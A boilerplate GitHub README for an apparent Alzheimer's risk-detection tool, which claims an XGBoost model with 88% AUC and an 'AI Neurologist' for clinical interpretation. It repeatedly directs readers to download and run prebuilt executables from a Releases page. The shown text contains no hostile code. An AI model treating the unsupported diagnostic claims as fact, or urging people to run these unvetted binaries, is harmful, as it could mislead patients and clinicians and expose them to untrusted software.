RajAbbas

🧠 NeuroMind_AI-Alzheimer-Disease-Risk-Detection - Detect Alzheimer’s Risk with AI

📌 Description

NeuroMind_AI is a powerful tool designed to help detect Alzheimer’s disease risk using advanced multimodal AI techniques. It integrates data from cerebrospinal fluid (CSF) proteomics, MRI volumetrics, and genetics into an XGBoost model, achieving an impressive 88% area under the curve (AUC). Additionally, our AI-powered “AI Neurologist” provides clinical interpretation, making this tool invaluable for healthcare professionals and researchers.

🚀 Getting Started

Follow these simple steps to download and run NeuroMind_AI on your computer.

📥 Download & Install

Visit the Releases Page: To get the latest version of NeuroMind_AI, please visit this page to download.
Once you are on the releases page, you will see different versions available for download. Choose the most recent release for optimal performance.
Click on the download link corresponding to your operating system (Windows, macOS, or Linux).
After the download completes, locate the downloaded file on your computer.

💽 Running the Application

If you downloaded a Windows executable file (.exe), simply double-click the file to run the application.
For macOS, locate the .dmg file and drag the application into your Applications folder.
On Linux, you may need to give executable permissions to the file. Open a terminal and run:
```
chmod +x /path/to/your/file
```
Then, execute the file by typing:
```
./NeuroMind_AI
```

🔧 System Requirements

Operating System: Windows 10 or higher, macOS 10.15 or higher, Linux distribution (Ubuntu, Fedora recommended).
CPU: Intel i5 or equivalent.
RAM: At least 4 GB.
Disk Space: Minimum 1 GB free space is required for installation.

🖼️ Features

AI-Powered Detection: Utilizes data from multiple sources to assess Alzheimer’s disease risk.
User-Friendly Interface: Designed for ease of use, allowing users with no technical background to operate the application.
Clinical Interpretation Tool: The integrated AI Neurologist offers insights to enhance understanding of results.
Robust Performance: Based on XGBoost model with 88% AUC for high accuracy in predictions.

🛠️ Support

If you encounter any issues while using NeuroMind_AI, please check the FAQ section on the GitHub Issues page. If your query is not answered, feel free to create a new issue.

🌟 Contributing

We welcome contributions to improve NeuroMind_AI. If you wish to contribute, please follow the guidelines outlined in the CONTRIBUTING.md.

📜 License

This project is licensed under the MIT License. Please see the LICENSE file for details.

🔗 Additional Resources

For more information, feel free to head back to the Releases page to download again.